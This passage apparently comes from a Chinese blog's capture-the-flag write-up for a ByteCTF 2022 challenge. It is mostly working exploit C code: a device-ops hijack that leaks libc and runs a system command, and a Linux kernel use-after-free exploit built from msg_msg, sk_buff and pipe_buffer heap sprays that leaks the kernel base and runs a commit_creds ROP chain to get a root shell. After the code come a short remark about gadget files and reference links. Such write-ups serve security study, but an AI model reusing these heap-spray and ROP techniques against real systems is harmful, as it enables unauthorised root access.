uint64_t opaque_addr = heap_base + 0x10adc20;
uint64_t pmio_ops_addr = opaque_addr + 0xb68;

printf("\033[32m\033[1m[+] heap base: \033[0m %p\n", heap_base);
printf("\033[32m\033[1m[+] parent_object addr: \033[0m %p\n", parent_object);
printf("\033[32m\033[1m[+] opaque addr: \033[0m %p\n", opaque_addr);

puts("");
puts("\n\033[34m\033[1m[*] leak libc base\033[0m");

ioctl(fd, 0x1919810, -388);
read(fd, buf, 0x8 * 0x8);
uint64_t libc_base = *(uint64_t *)(buf + 0x7 * 8) - 0x4385f0;
uint64_t mov_rsp_rbx = 0x5b4d0 + libc_base;
// mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
uint64_t magic_gadget = 0x0000000000151990 + libc_base;
uint64_t pop_rdi = 0x0000000000023b6a + libc_base;
printf("\033[32m\033[1m[+] libc base: \033[0m %p\n", libc_base);
printf("\033[32m\033[1m[+] magic gadget addr: \033[0m %p\n", magic_gadget);

char *command = "nl flag\x00";
uint64_t command_addr = opaque_addr + 0xf8;

puts("");
puts("\n\033[34m\033[1m[*] prepare for hijake pmio->ops\033[0m");

// ioctl(fd, 0x1919810, -0x16d);
// read(fd, buf, 0x200);
ioctl(fd, 0x1919810, -0x18);
read(fd, buf, 0x200);

*(uint64_t *)(buf + 8) = opaque_addr + 0x100 - 0x20;
*(uint64_t *)(buf + 0xe0) = pop_rdi;
*(uint64_t *)(buf + 0xe8) = command_addr;
*(uint64_t *)(buf + 0xf0) = system_addr;
*(uint64_t *)(buf + 0xf8) = *(uint64_t *)command;
*(uint64_t *)(buf + 0x100) = mov_rsp_rbx;

write(fd, buf, 0x108);
ioctl(fd, 0x1919810, -0x16d);

ioctl(fd, 0x1919810, -6);
read(fd, buf, 0x200);
*(uint64_t *)(fake_ops) = pmio_read_addr;
*(uint64_t *)(fake_ops + 8) = magic_gadget;
for (int i = 0; i < 0x10; i++)
{
*(uint64_t *)(buf + 0x30 + i * 8) = *(uint64_t *)(fake_ops + i * 8);
}
write(fd, buf, 0x100);

printf("\033[32m\033[1m[+] ready to hijack! \033[0m\n");

puts("\n\033[34m\033[1m[*] hijake pmio->ops\033[0m");
memset(buf, 0, 0x1000);
ioctl(fd, 0x1919810, -347);
read(fd, buf, 0x200);
*(uint64_t *)(buf + 0x48) = opaque_addr + 0xc28;
write(fd, buf, 0x50);
ioctl(fd, 0x1919810, 0x196082);
// ioctl(fd, 0x1919810,);
printf("\033[32m\033[1m[+] done! \033[0m\n");

return 0;
}

int main()
{
save_status();
signal(SIGSEGV, get_shell);

char *buf = malloc(0x4000);
unsigned long *point_buf = malloc(0x4000);
int victim_qid = -1;
int sk_sockets[SOCKET_NUM][2];
int msqid[MSG_QUEUE_NUM];
char fake_secondary_msg[704];
struct msg_msg *nearby_msg;
struct msg_msg *nearby_msg_prim;
unsigned long victim_addr;
unsigned long real_qid;
unsigned long search_addr;
struct pipe_buffer *pipe_buf_ptr;
int pipe_fd[PIPE_NUM][2];
struct pipe_buf_operations *ops_ptr;
unsigned long *rop_chain = malloc(0x2000);
cpu_set_t cpu_set;

for (int i = 0; i < SOCKET_NUM; i++)
{
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_sockets[i]) < 0)
{
errExit("failed to create socket pair!");
}
}

fd = open("/dev/bytedev", 2);
if (fd < 0)
{
printf("open bytedev failed\n");
exit(1);
}

for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0)
errExit("failed to create msg_queue!");
}

CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

puts("\n\033[34m\033[1m[*] spray msg_msg, construct overlapping object\033[0m");

memset(&primary_msg, 0, sizeof(primary_msg));
memset(&secondary_msg, 0, sizeof(secondary_msg));
*(long *)&primary_msg = PRIMARY_MSG_TYPE;
*(long *)&secondary_msg = SECONDARY_MSG_TYPE;
*(int *)&primary_msg.mtext[0] = MSG_TAG;
*(int *)&secondary_msg.mtext[0] = MSG_TAG;

for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
*(int *)&primary_msg.mtext[0] = MSG_TAG;
*(int *)&primary_msg.mtext[4] = i;
if (msgsnd(msqid[i], &primary_msg,
sizeof(primary_msg) - 8, 0) < 0)
{
errExit("failed to send primary msg!");
}

*(int *)&secondary_msg.mtext[0] = MSG_TAG;
*(int *)&secondary_msg.mtext[4] = i;
if (msgsnd(msqid[i], &secondary_msg,
sizeof(secondary_msg) - 8, 0) < 0)
{
errExit("failed to send secondary msg!");
}
}

for (int i = 0; i < MSG_QUEUE_NUM; i += 1024)
{
if (msgrcv(msqid[i], &primary_msg, sizeof(primary_msg) - 8, PRIMARY_MSG_TYPE, 0) < 0)
{
errExit("failed to receive primary msg!");
}
}

memset(buf, 0x84, 0x1000);
write(fd, buf, 0xffc);
read(fd, buf, 0xffc);
memset(buf, 0, 0x1000);
*(unsigned short *)buf = 0xffd;
for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (write(sk_sockets[i][0], buf, 0x1000 - 0x140) < 0)
{
errExit("failed to spray sk_buff!");
}
}
}
memset(buf, 0xa0, 0x1000);
write(fd, buf, 1);

victim_qid = real_qid = -1;

for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
if (i % 256 == 0)
{
continue;
}
if (msgrcv(msqid[i], &secondary_msg, sizeof(secondary_msg) - 8, 1, MSG_COPY | IPC_NOWAIT) < 0)
{
errExit("failed to receive secondary msg!");
}
if (*(int *)&secondary_msg.mtext[0] != MSG_TAG)
{
errExit("failed to make corruption!");
}
if (*(int *)&secondary_msg.mtext[4] != i)
{
victim_qid = i;
real_qid = *(int *)&secondary_msg.mtext[4];
break;
}
}
if (victim_qid < 0)
{
errExit("failed to make overlapping!");
}

for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (read(sk_sockets[i][1], buf, 0x1000 - 0x140) < 0)
{
errExit("failed to release sk_buff!");
}
}
}
printf("\033[32m\033[1m[+] victim qid:\033[0m %d ", victim_qid);
printf("\033[32m\033[1m real qid: \033[0m %d\n", real_qid);

if (msgrcv(msqid[real_qid], &secondary_msg, sizeof(secondary_msg) - 8, SECONDARY_MSG_TYPE, 0) < 0)
{
errExit("failed to release secondary msg!");
}

puts("\033[32m\033[1m[+] UAF construction complete!\033[0m");
puts("\n\033[34m\033[1m[*] spray sk_buff to leak kheap addr\033[0m");

memset(fake_secondary_msg, 'Z', sizeof(fake_secondary_msg));
((struct msg_msg *)fake_secondary_msg)->m_list.next = 0x196082;
((struct msg_msg *)fake_secondary_msg)->m_list.prev = 0x196082;
((struct msg_msg *)fake_secondary_msg)->m_type = VICTIM_MSG_TYPE;
((struct msg_msg *)fake_secondary_msg)->m_ts = 0x1000 - sizeof(struct msg_msg);
((struct msg_msg *)fake_secondary_msg)->next = NULL;
((struct msg_msg *)fake_secondary_msg)->security = NULL;
for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (write(sk_sockets[i][0], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
{
errExit("failed to spray sk_buff!");
}
}
}
if (msgrcv(msqid[victim_qid], &oob_msg, sizeof(oob_msg) - 8, 1, MSG_COPY | IPC_NOWAIT) < 0)
{
errExit("failed to read victim msg!");
}
if (*(int *)&oob_msg.mtext[SECONDARY_MSG_SIZE] != MSG_TAG)
{
errExit("failed to rehit the UAF object!");
}

nearby_msg = (struct msg_msg *)&oob_msg.mtext[(SECONDARY_MSG_SIZE - sizeof(struct msg_msg))];
printf("\033[32m\033[1m[+] addr of primary msg of msg nearby victim: \033[0m%p\n",
nearby_msg->m_list.prev);

for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (read(sk_sockets[i][1], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
{
errExit("failed to release sk_buff!");
}
}
}
search_addr = (unsigned long long *)nearby_msg->m_list.prev;
search_addr = search_addr - 8;

memset(oob_msg.mtext, 0, sizeof(oob_msg.mtext));

((struct msg_msg *)fake_secondary_msg)->m_list.next = NULL;
((struct msg_msg *)fake_secondary_msg)->m_list.prev = NULL;
((struct msg_msg *)fake_secondary_msg)->m_type = NULL;
((struct msg_msg *)fake_secondary_msg)->m_ts = sizeof(oob_msg.mtext);
((struct msg_msg *)fake_secondary_msg)->next = search_addr;
((struct msg_msg *)fake_secondary_msg)->security = NULL;
for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (write(sk_sockets[i][0], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
{
errExit("failed to spray sk_buff!");
}
}
}
if (msgrcv(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1, MSG_COPY | IPC_NOWAIT) < 0)
{
errExit("failed to read victim msg!");
}

if (*(int *)&oob_msg.mtext[0x1000] != MSG_TAG)
{
errExit("failed to rehit the UAF object!");
}

nearby_msg_prim = (struct msg_msg *)&oob_msg.mtext[0x1000 - sizeof(struct msg_msg)];
victim_addr = (unsigned long *)(nearby_msg_prim->m_list.next);
victim_addr = victim_addr - 0x400;
printf("\033[32m\033[1m[+] addr of msg UAF object: \033[0m%p\n", victim_addr);

for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (read(sk_sockets[i][1], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
{
errExit("failed to release sk_buff!");
}
}
}

puts("\n\033[34m\033[1m[*] spray pipe_buffer to leak kernel base\033[0m");

for (int i = 0; i < 704 / 8; i++)
{
((unsigned long long *)fake_secondary_msg)[i] = victim_addr;
}

((struct msg_msg *)fake_secondary_msg)->m_list.next = victim_addr + 0x200;
((struct msg_msg *)fake_secondary_msg)->m_list.prev = victim_addr + 0x200;
((struct msg_msg *)fake_secondary_msg)->m_type = VICTIM_MSG_TYPE;
((struct msg_msg *)fake_secondary_msg)->m_ts = 1024 - 0x30;
((struct msg_msg *)fake_secondary_msg)->next = NULL;
((struct msg_msg *)fake_secondary_msg)->security = NULL;

for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (write(sk_sockets[i][0], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
{
errExit("failed to spray sk_buff!");
}
}
}
if (msgrcv(msqid[victim_qid], &secondary_msg, sizeof(secondary_msg), VICTIM_MSG_TYPE, IPC_NOWAIT | MSG_NOERROR) < 0)
{
errExit("failed to read victim msg!");
}

for (int i = 0; i < PIPE_NUM; i++)
{
if (pipe(pipe_fd[i]) < 0)
errExit("failed to create pipe!");

if (write(pipe_fd[i][1], "196082", 6) < 0)
errExit("failed to write the pipe!");
}
memset(fake_secondary_msg, 0, sizeof(fake_secondary_msg));
pipe_buf_ptr = (struct pipe_buffer *)&fake_secondary_msg;
for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (read(sk_sockets[i][1], &fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to release sk_buff!");

if (pipe_buf_ptr->ops > 0xffffffff81000000)
{
printf("\033[32m\033[1m[+] got pipe_buf_ops: \033[0m%p\n",
pipe_buf_ptr->ops);
kernel_addr = pipe_buf_ptr->ops;
kernel_offset = kernel_addr - 0xffffffff81e2d980;
kernel_base = kernel_offset + 0xffffffff81000000;
}
}
}

printf("\033[32m\033[1m[+] kernel base: \033[0m%p \033[32m\033[1moffset: \033[0m%p\n",
kernel_base, kernel_offset);
puts("\n\033[34m\033[1m[*] hijack the ops of pipe_buffer, gain root privilege\033[0m");

unsigned long long init_cred = 0xffffffff8224aca0 + kernel_offset;
unsigned long long commit_creds = 0xffffffff810bb710 + kernel_offset;
unsigned long long pop_rdi = 0xffffffff811af57d + kernel_offset;
unsigned long long swapgs_iretq = 0xffffffff81a010eb + kernel_offset;
unsigned long long push_rsi_pop_rsp_rbx_r12 = 0xffffffff8133151b + kernel_offset;

pipe_buf_ptr->page = *(uint64_t *)"196082";
pipe_buf_ptr->ops = victim_addr + 0x100;
*(uint64_t *)(fake_secondary_msg + 0x18) = 0xffffffff81000390 + kernel_offset;

ops_ptr = (struct pipe_buf_operations *)&fake_secondary_msg[0x100];
ops_ptr->release = push_rsi_pop_rsp_rbx_r12;

int rop = 0;
rop_chain = (uint64_t *)&fake_secondary_msg[0x20];
rop_chain[rop++] = pop_rdi;
rop_chain[rop++] = init_cred;
rop_chain[rop++] = commit_creds;
rop_chain[rop++] = swapgs_iretq;
rop_chain[rop++] = get_shell;
rop_chain[rop++] = user_cs;
rop_chain[rop++] = user_rflags;
rop_chain[rop++] = user_sp;
rop_chain[rop++] = user_ss;
printf("rop_chain is ready\n");

for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (write(sk_sockets[i][0], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
{
errExit("failed to spray sk_buff!");
}
}
}
read(fd, buf, 0xffc);
printf("spray sk_buff complete!\n");

for (int i = 0; i < PIPE_NUM; i++)
{
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}

return 0;
}

image-20230331103838088

吐槽一下:一道题目用了五个gadget文件!!!

1
2
3
4
5
6
➜  ctf ls -l | grep gadget
-rw-r--r-- 1 tcdy staff 14478379 3 29 19:14 gadget.txt
-rw-rw-r--@ 1 tcdy staff 325376514 3 29 19:24 gadget2.txt
-rw-rw-r--@ 1 tcdy staff 113547117 3 30 13:43 gadget3.txt
-rw-rw-r--@ 1 tcdy staff 21718691 3 30 14:38 gadget4.txt
-rw-r--r-- 1 tcdy staff 4499639 3 30 15:08 gadget5.txt

参考链接:
https://arttnba3.cn/2022/09/30/CTF-0X07-BYTECTF2022_BYTERUN/
https://elixir.bootlin.com/linux/v5.19/source/ipc/msg.c#L1068
题目链接:
墨晚鸢佬自己有题目链接,这里就不上传啦。

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量